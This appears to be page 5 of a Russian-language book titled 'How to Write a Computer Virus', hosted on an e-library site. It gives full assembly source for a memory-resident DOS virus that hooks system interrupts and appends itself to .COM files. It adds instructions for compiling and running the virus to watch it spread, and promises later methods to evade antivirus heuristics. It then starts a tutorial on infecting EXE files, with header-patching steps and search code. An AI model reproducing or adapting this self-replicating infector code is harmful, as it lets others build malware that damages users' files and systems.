Купить
 
 
Жанр: Учеба

Как написать компьютерный вирус

страница №5

x,es:[di]
mov old_13h,bx
mov bx,es:[di+2]
mov old_13h_2,bx

mov di,0a0h ;Int 28h ...
mov bx,es:[di]
mov old_28h,bx
mov bx,es:[di+2]
mov old_28h_2,bx
sti

mov word ptr vir,9090h ;Подготавливаем
mov tg_infect,0 ;вирус к рези-
;дентной работе

mov es,ax ;И копируем его
xor di,di ;в память...
mov cx,vir_len
prg_copy: mov bl,byte ptr vir[di]
mov byte ptr es:[di],bl
inc di
loop prg_copy

xor bx,bx ;Устанавливаем
;вектора преры-
mov es,bx ;ваний на вирус-
cli ;ные обработчики
mov di,084h
mov word ptr es:[di],to_new_21h
mov es:[di+2],ax ; Int 21h

mov di,0bch
mov word ptr es:[di],to_new_2fh
mov es:[di+2],ax ; Int 2fh

mov di,04ch
mov word ptr es:[di],to_new_13h
mov es:[di+2],ax ; Int 13h

mov di,0a0h
mov word ptr es:[di],0
mov es:[di+2],ax ; Int 28h
sti

jmp fresh_bytes ;Установка
;завершена ...

infect: push cs
pop ds

mov ax,ds ;TSR - коррекция
sub ax,11h ;DS ...
mov ds,ax

cmp tg_13h,0 ;INT 13h
;выполняется ?
je cs:all_right ;Нет ...
jmp cs:exit_zarasa ;Да - на выход

all_right: mov ah,2fh ;Получим текущую
int 21h ;DTA ( ES : BX )

mov bp,bx

mov cx,80h ;Сохраним эту
lea si,dta_save ;DTA ...
mov di,bp
save_dta:
mov al,byte ptr es:[di]
mov [si],al
inc si
inc di
loop cs:save_dta

find_first: ;Найдем первый
mov ah,4eh ;файл ...
mov cx,00100111b
lea dx,maska
int 21h
jnc cs:retry_2
jmp restore_dta

find_next: mov ah,3eh ;Закроем непод-
int 21h ;ходящий файл
jnc cs:retry_1
jmp cs:restore_dta

retry_1: mov ah,4fh ;Найдем следую-
int 21h ;щий ...
jnc cs:retry_2
jmp cs:restore_dta

retry_2: mov cx,12 ;Сотрем старое
lea si,fn ;имя в буфере
destroy_name:
mov byte ptr [si],0
inc si
loop cs:destroy_name

xor si,si ;И запишем туда
mov di,bp ;новое ...
copy_name: mov al,byte ptr es:[di+1eh]
cmp al,0
je cs:check_command
mov byte ptr fn[si],al
inc si
inc di
jmp cs:copy_name

check_command:
;Проверим, не
;является - ли
call cs:search ;файл командным
cmp inside,1 ;процессором...
je cs:retry_1

mov ax,3d02h ;Откроем этот
lea dx,fn ;файл ...
int 21h
jnc cs:save_bytes
jmp cs:restore_dta

save_bytes: ;Считаем первые
mov bx,ax ;три байта
mov ah,3fh
mov cx,3
lea dx,old_bytes
int 21h
jnc cs:found_size jmp cs:close

found_size:mov di,bp
cmp word ptr es:[di+01ch],0
jne cs:more_64K ;Найдем его раз-
mov ax,es:[di+01ah] ;мер ...

count_size:mov si,ax ;Вычислим
;смещения ...
cmp ax,64000
jna cs:smallest
more_64K: jmp cs:find_next
smallest: test ax,000fh
jz cs:krat_16
or ax,000fh
inc ax
krat_16: mov di,ax
sub ax,3
mov byte ptr new_bytes[1],al
mov byte ptr new_bytes[2],ah
mov ax,di
mov cl,4
shr ax,cl
dec ax
mov byte ptr add_to_ds,al
mov byte ptr add_to_ds+1,ah

mov ax,4200h ;Считаем послед-
xor cx,cx ;ний байт ...
dec si
mov dx,si
int 21h
jnc cs:read_last
jmp cs:close

read_last:
mov ah,3fh
mov cx,1
lea dx,last
int 21h
jc cs:close

cmp last,'1' ;Индикатор зара-
jne cs:write_vir ;жения ...
jmp cs:find_next

write_vir: mov ax,4200h ;Запишем начало
xor cx,cx ;вируса ...
mov dx,di
int 21h
jc cs:close

mov ah,40h
mov cx,2
lea dx,end_file
int 21h
jc cs:close
;И остальную
mov ah,40h ;часть ...
mov cx,vir_len - 2
lea dx,vir + 2
int 21h
jc cs:close

write_bytes: ;Запишем первые
mov ax,4200h ;три байта
xor cx,cx
xor dx,dx
int 21h
jc cs:close

mov ah,40h
mov cx,3
lea dx,new_bytes
int 21h

close: mov ah,3eh ;Закроем зара-
int 21h ;женный файл

restore_dta:
mov cx,80h ;Восстановим DTA
lea si,dta_save
mov di,bp
dta_fresh:
mov al,[si]
mov byte ptr es:[di],al
inc si
inc di
loop cs:dta_fresh

exit_zarasa: ;Выход в систему
pop es
pop ds
pop bp
pop di
pop si
pop dx
pop cx
pop bx
pop ax
popf
mov ss,cs:ss_save-110h ;Восстановим
mov sp,cs:sp_save-110h ;стек ...

iret

;-------------------------------------------------

; _______________________________________________
;| |
;| Напишем новые обработчики INT 13h, INT 21h, |
;| INT 24h и INT 2fh ... |
;|_______________________________________________|

to_new_13h equ $-vir

new_13h: jmp cs:start_13h

tg_13h db 0
ax_13h dw 0
cs_13h dw 0
ip_13h dw 0

start_13h: mov cs:tg_13h - 110h,1
pushf
db 9ah
old_13h dw 0
old_13h_2 dw 0
mov cs:ax_13h - 110h,ax;Поместим новый
pop ax ;флаг на место
mov cs:ip_13h - 110h,ax;старого ( CF )
pop ax
mov cs:cs_13h - 110h,ax
pop ax
pushf
mov ax,cs:cs_13h - 110h
push ax
mov ax,cs:ip_13h - 110h
push ax
mov ax,cs:ax_13h - 110h
mov cs:tg_13h - 110h,0
iret

;-------------------------------------------------

to_new_21h equ $-vir

new_21h: jmp cs:start_21h

tg_infect db 0

start_21h: pushf
push di
push es
xor di,di ;Перехват
mov es,di ;INT 24h в рези-
mov di,90h ;дентном режиме
mov word ptr es:[di],to_new_24h
mov es:[di+2],cs
cmp ah,03bh ;Активизировать
;вирус ?
jne cs:new_cmp_1
mov cs:tg_infect-110h,1;Да - взводим
;триггер ...
new_cmp_1: cmp ah,00eh
jne cs:to_jump
mov cs:tg_infect - 110h,1
to_jump: pop es
pop di
popf
db 0eah ;Переход на ста-
old_21h dw 0 ;рый обработчик
old_21h_2 dw 0 ;INT 21h ...

;-------------------------------------------------

to_new_24h equ $ - vir

new_24h: mov al,3 ;Вернем програм-
iret ;ме управление и
;код ошибки ...


;-------------------------------------------------

to_new_2fh equ $ - vir

new_2fh: pushf
cmp ax,0f000h
jne cs:not_our
cmp bx,1997h
jne cs:not_our
mov al,0ffh
popf
iret

not_our: popf
db 0eah
old_2fh dw 0
old_2fh_2 dw 0

;/***********************************************/

;Data area

old_bytes db 0e9h ;Исходные три
dw vir_len + 0dh ;байта ...

dta_save db 128 dup (0) ;Массив для DTA

maska db '*.com',0 ;Маска для поис-
;ка ...

fn db 12 dup (' '),0 ;Место для имени
;файла

new_bytes db 0e9h ;Код команды
;" JMP ..."
db 00h ;HIGH
db 00h ;LOW

end_file db 0ebh ;Первые два бай-
db push_len ;та вируса в
;файле ...

ss_save dw 0 ;Буфера для SS
sp_save dw 0 ;и SP ...

help_word dw 0 ;Промежуточная
;ячейка .

old_attr db 0 ;Исходные атри-
;буты файла ...

com_com db 'COMMAND' ;Имя командного
;процессора ...

inside db 0 ;Ячейка - инди-
;катор ...

last db 0 ;Последний байт

to_newstack equ $ - vir ;Смещение к сте-
;ку ...
newstack dw 70 dup ( 0 ) ;Новый стек ...

;-------------------------------------------------

search proc ;Процедура
push ax ;сравнивает
push cx ;строки ...
mov inside,1
lea di,fn
lea si,com_com
mov cx,7
new_cmp: mov al,byte ptr ds:[si]
cmp byte ptr ds:[di],al
jne cs:not_equal
inc di
inc si
loop cs:new_cmp
jmp cs:to_ret
not_equal: mov inside,0
to_ret: pop cx
pop ax
ret
search endp

db '1' ;Последний байт
;вируса ...
vir_len equ $-vir ;Длина вируса в
;байтах ...
vir_par equ ( $-vir + 0fh ) / 16
;И в параграфах

prg_end: mov ax,4c00h ;Выход в DOS
INT 21H ;только для за-
;пускающей прог-
;раммы ...

db '1' ;И ее последний
;байт ...

prg ends ;Стандартное
end start ;" окончание "
;ASM - программы

2.26 Комментарии

В отличие от предыдущего,разработанный в этой гла-
ве вирус может отыскивать файлы для заражения на
всем жестком диске и даже на дискетах . Это делает
его довольно заразным и быстро распространяющимся.
Поэтому сложность " конструкции " окупается эф-
фективностью работы вирусного кода .
Вместе с тем,наш вирус имеет определенный недоста-
ток .Ведь его обнаруживает такая распространенная
программа, как DOCTOR WEB !В следующей части будет
рассказано о способах разработки вирусов, против
которых алгоритм эвристического анализа оказывае-
тся малоэффективным .

2.27 Испытание вируса

Для исследования работы вируса откомпилируйте его
исходный текст для получения COM - файла . После
чего запустите этот COM - файл .
" Пройдитесь " по различным каталогам и понаблюда-
йте, как вирус заражает файлы при смене текущего
каталога .Попробуйте перейти на другой диск и про-
следите за действиями вируса .И последнее,проверь-
те, заражается ли командный процессор .Все выше-
указанные действия нужно проводить очень аккурат-
но и не рисковать важными программами, так как ви-
рус, который мы изготовили, весьма заразный, из-за
чего у вас могут быть неприятности .
Кроме того, очень советую вам " пройти " заражен-
ную программу отладчиком до точки входа в про-
граммный код .
И,наконец,при инсталлированном в память машины ви-
русном коде запустите программу DOCTOR WEB в режи-
ме поиска резидентных вирусов . Вы убедитесь, что
наш вирус обнаруживается как неизвестный .

ЧАСТЬ 2 . EXE - ВИРУСЫ


ГЛАВА 1 . РАЗРАБОТКА НЕРЕЗИДЕНТНОГО


EXE - ВИРУСА

1.1 Формат EXE - файла на диске

Каждый EXE - файл, хранимый на диске, состоит из
заголовка,таблицы настройки и собственно программ-
ных кодов и данных.В заголовке содержится информа-
ция для настройки адресов и установки значений ре-
гистров процессора, которая используется при заг-
рузке программы .Поскольку понимание структуры за-
головка очень важно для изучения данной и последу-
ющей глав, мы рассмотрим ее уже сейчас .
Итак,заголовок EXE - файла при хранении его на ди-
ске имеет следующий формат :

Байты 0, 1 : Содержат код 4D5Ah, или " MZ "

Байты 2, 3 : Содержат остаток от деления размера
загрузочного модуля на 512

Байты 4, 5 : Содержат размер файла в 512-ти бай-
товых страницах, округленный в боль-
шую сторону

Байты 6, 7 : Содержат число элементов таблицы на-
стройки адресов

Байты 8, 9 : Содержат размер заголовка в парагра-
фах

Байты 0A,0B : Содержат минимальное число дополни-
тельных параграфов,которые нужны за-
груженной программе

Байты 0C,0D : Содержат максимальное число дополни-
тельных параграфов

Байты 0E,0F : Содержат смещение в параграфах сег-
мента стека в загрузочном модуле;на-
зовем его SS0

Байты 10,11 : Содержат значение регистра SP, кото-
рое устанавливается перед передачей
управления программе ( SP0 )

Байты 12,13 : Содержат контрольную сумму EXE-фай-
ла

Байты 14,15 : Содержат значение регистра IP, кото-
рое устанавливается перед передачей
управления программе ( IP0 )

Байты 16,17 : Содержат смещение в параграфах сег-
мента кода в загрузочном модуле,или
CS0

Байты 18,19 : Содержат расстояние в байтах от на-
чала файла до первого элемента таб-
лицы настройки адресов

Байты 1A,1B : Содержат "0", если данная часть про-
граммы является резидентной, или от-
личное от нуля число - если данная
часть является оверлейной

Заметим, что контрольная сумма определяется сумми-
рованием всех слов, содержащихся в файле,без учета
переполнения.При этом она практически нигде не ис-
пользуется.

1.2 Загрузка и выполнение EXE - программы

Действия MS DOS при запуске EXE - программы отли-
чаются от действий при запуске программы типа COM,
хотя в обоих случаях операционная система исполь-
зует одну и ту же функцию EXEC. Действия этой фун-
кции при запуске EXE - программы выглядят так :

1. Запускаемой программе отводится вся свобод-
ная в данный момент оперативная память .Сегментная
часть начального адреса этой памяти обычно называ-
ется начальным сегментом программы.

2. По нулевому смещению в сегменте, определяемом
начальным сегментом программы,EXEC строит PSP про-
граммы.Заполняет PSP по-прежнему операционная сис-
тема, а его размер, как и для COM - программы, ра-
вен 256 байт .

3. Сразу вслед за PSP загружается сама EXE - прог-
рамма.Причем в память помещается исключительно за-
грузочный модуль, а заголовок и таблица настройки
в память не копируются.После этого выполняется так
называемая настройка адресов . Ее суть состоит в
следующем :
Некоторые команды (например, команды далекого пе-
рехода или вызова процедуры, расположенной в дру-
гом программном сегменте) требуют указания не то-
лько смещения, но и сегмента адреса .Компоновщик
строит EXE - модуль относительно некоторого " на-
чального " адреса,но ведь в MS DOS программы могут
загружаться в произвольную область памяти !Поэтому
при загрузке программы к каждому сегментному адре-
су прибавляется значение начального сегмента про-
граммы . Этот процесс и называют настройкой адре-
сов .У вас может возникнуть вопрос, откуда MS DOS
знает, где расположены требующие настройки элемен-
ты .Для получения такой информации система исполь-
зует таблицу настройки, которая находится в файле
по некоторому смещению от его начала .Само смеще-
ние хранится в заголовке в байтах 18h, 19h .


4. EXEC выполняет настройку регистров процессора.
Обозначим начальный сегмент программы буквами NS0.
Тогда устанавливаемые значения регистров будут вы-
глядеть так :
DS = ES = NS0
CS = NS0 + 10h + CS0
IP = IP0
SS = NS0 + 10h + SS0
SP = SP0
CS0, SS0, IP0 и SP0 берутся загрузчиком из заголо-
вка EXE - файла, а NS0 становится известным в про-
цессе загрузки .

5. Теперь загруженную EXE - программу можно испол-
нить . Для этого EXEC передает управление по адре-
су CS : IP .

Стоит заметить, что размер EXE - файла в MS DOS не
ограничивается размером одного сегмента и может
быть очень большим ( примерно 65535*512 = 33553920
байт !). Правда,для построения очень больших EXE -
программ используется оверлейная структура.При ис-
полнении программы, имеющей оверлейную структуру ,
она не загружается в память целиком.Вместо этого в
память помещается только ее резидентная часть, ко-
торая по мере необходимости подгружает те или иные
оверлейные фрагменты .

1.3 Как вирус может заразить EXE - файл

Как и при заражении COM - программ, при заражении
EXE - файлов вирусный код может записываться в ко-
нец,начало или в середину файла.Запись в конец фа-
йла,как и в предыдущем случае,реализуется наиболее
просто,и кроме того,предохраняет от многих трудно-
стей при отладке .Поэтому мы создадим вирус, рабо-
тающий имено по такому принципу .
Для того,чтобы при старте зараженной программы код
вируса получил управление, следует соответствующим
образом модифицировать заголовок EXE - файла . Для
этого исходные значения CS0 и IP0 заменяются на
точку входа в вирусный код, а значения SS0 и SP0
" переключаются " на собственный стек вируса.Кроме
того, поскольку при заражении изменяются длина за-
грузочного модуля и длина файла, необходимо скор-
ректировать поля заголовка по смещению 02h, 03h, а
также 04h, 05h .Вот и все .
Может показаться, что создать вирус,заражающий EXE
- файлы, намного сложнее, чем COM - вирус . Однако
это не так . Прочтите эту главу, и вы убедитесь в
этом !

1.4 Работа вируса в зараженной программе

Рассмотрим теперь действия вируса при получении им
управления .
Итак, вирус функционирует по такому алгоритму :

1. Ищет на диске подходящий EXE - файл .

2. Записывает свое тело в конец этого файла .

3. Корректирует заголовок заражаемой программы
следующим образом :

a.) Вместо исходных CS0 и IP0 заражаемой про-
граммы записываются значения, обеспечиваю-
щие передачу управления вирусному коду при
запуске программы .

б.) Исходные SS0 и SP0 заменяются на значения,
обеспечивающие переключение на собственный
стек вируса .

в.) Корректируется остаток от деления размера
загрузочного модуля на 512 .

г.) Поскольку при заражении длина файла увели-
чивается, корректируется размер файла в ст-
раницах ( одна страница равна 512 байт ) .

Естественно, перед корректировкой вирус обязан со-
хранить исходные параметры заголовка -ведь они по-
требуются при передаче управления вирусному коду .
После коррекции заголовок записывается на диск .

4. Выполняет вредные действия, предусмотренные ав-
тором .

5. Определяет значения CS, IP, SS и SP,необходимые
для правильной работы программы,из которой старто-
вал вирус .

6. Передает управление зараженной программе . Для
этого вирус использует команду безусловного даль-
него перехода.Адрес перехода задается вычисленными
CS и IP .После этого начинается обычное выполнение
программы .

1.5 Начало работы

Как и COM - вирус, EXE - вирус лучше разрабатывать
в формате COM .Это убережет нас от многих ненужных
трудностей .Поэтому напишем стандартное начало COM
программы :

prg segment
assume cs:prg,ds:prg,es:prg,ss:prg
org 100h

Как вы помните, директива "assume cs:prg,ds:prg,es
:prg,ss:prg" назначает сегментные регистры сегмен-
ту с именем PRG, а директива "org 100h" резерви-
рует место для PSP вирусной программы .

1.6 Вирус получает управление

В отличие от COM - вируса,наша запускающая програ-
мма после запуска не будет заменять в памяти свои
первые три байта командой перехода на функцию DOS
завершения программы . По этой причине можно не
бояться, что в заражаемый файл попадет испорченный
вирусный код (см. п. 1.17 предыдущей части).Отсюда
следует, что директива " org 110h" нам не потре-
буется .Значит,можно сразу переходить " к делу " :

vir: mov ax,cs ;AX = CS ...
db 2dh ;SUB AX,00h
sub_ds dw 0 ;
mov ds,ax ;
mov ss,ax ;

mov ah,1ah ;Переключим DTA
lea dx,new_dta ;на соответству-
;ющий массив в
int 21h ;области данных
;вируса ...

При компиляции относительные адреса всех ячеек па-
мяти определяются относительно DS, который указы-
вает на начало PSP .Но в зараженной программе при
передаче управления на код вируса регистр CS будет
указывать на параграф, с которого начинается этот
код, а не на начало PSP, а регистр DS вообще ока-
жется настроенным на начальный сегмент программы !
Единственный способ получить доступ к данным виру-
са заключается в установке DS = CS.А с учетом раз-
мера PSP в 10h параграфов значение DS следует уме-
ньшить как раз на эту величину .При заражении того
или иного файла поле " sub_ds " для него будет за-
полняться значением 10h.Поскольку запускающая про-
грамма имеет COM - формат, для нее CS = DS = SS =
= ES, и все они указывают на начало PSP . Поэтому
значение DS корректировать не нужно, и в поле
" sub_ds " запускающей программы помещается ноль .

Дальше вирус переключает DTA на массив "new_dta",
расположенный в области данных вируса . Поскольку
начальный сегмент программы станет известным при
ее запуске,можно будет без особого труда восстано-
вить адрес исходной DTA.

1.7 Ищем подходящий файл

Теперь наш вирус может заняться поиском файла-жер-
твы .Как мы договорились, вирус будет заражать EXE
- файлы, значит, такой файл и нужно найти . Но по-
скольку фрагмент, который производит поиск файлов
с тем или иным расширением уже был создан, остает-
ся только воспользоваться им, внеся некоторые из-
менения :

mov ax,old_ip ;Скопируем исхо-
mov my_ip,ax ;дные параметры
mov ax,old_cs ;заголовка зара-
mov my_cs,ax ;женной програм-
mov ax,to_16h ;мы в ячейки па-
mov my_16h,ax ;мяти " my_XX ",
mov ax,old_ss ;так как ячейки
mov my_ss,ax ;" old_XX ", в
mov ax,old_sp ;которых хранят-
mov my_sp,ax ;ся параметры,
;будут испорчены
;при заражении
;нового файла

find_first:mov ah,4eh ;Поиск первого
mov cx,00100110b ;файла :
lea dx,maska ;archive, system
int 21h ;hidden ...
jnc r_3
jmp restore_dta

find_next: mov ah,3eh ;Закроем непод-
mov bx,descrypt ;ходящий файл
int 21h
jnc r_2
jmp restore_dta

r_2: mov ah,4fh ;Поиск следующе-
int 21h ;го ...
jnc r_3
jmp restore_dta

r_3: mov cx,12 ;Очистим об-
lea si,fn ;ласть " fn "
kill_name: mov byte ptr [si],0
inc si
loop kill_name

xor si,si ;И перепишем
copy_name: mov al,byte ptr new_dta[si + 01eh]
cmp al,0 ;туда имя най-
je open_file ;денного файла
mov byte ptr fn[si],al
inc si
jmp copy_name

open_file: mov ax,3d02h ;Откроем файл
lea dx,fn ;для чтения и
int 21h ;записи ...
jnc found_size
jmp r_2

found_size:mov descrypt,ax ;Определим раз-
mov cx,word ptr [new_dta + 01ch]
mov dx,word ptr [new_dta + 01ah]
sub dx,1 ;мер файла и вы-
sbb cx,0 ;чтем из него
;единицу ...
call setpointer ;Установим ука-
;затель на пос-
;ледний символ

read_last: mov cx,1 ;Прочитаем
lea dx,last ;последний
call read ;символ ...
jnc compar
jmp close_file

compar: cmp last,'7' ;Это "семерка" ?
jne mmm ;Нет
to_next: jmp find_next ;Да ! Файл уже
;заражен, и надо
;искать другой

Вы, вероятно, уже поняли,что каждая новая програм-
ма составляется нами из ранее разработанных бло-
ков, как из конструктора.Это сильно упрощает рабо-
ту и сокращает время на составление программ .Было
бы странно не воспользоваться готовыми фрагментами
и заново преодолевать все тру

Список страниц

Закладка в соц.сетях

Купить

☏ Заказ рекламы: +380504468872

© Ассоциация электронных библиотек Украины

☝ Все материалы сайта (включая статьи, изображения, рекламные объявления и пр.) предназначены только для предварительного ознакомления. Все права на публикации, представленные на сайте принадлежат их законным владельцам. Просим Вас не сохранять копии информации.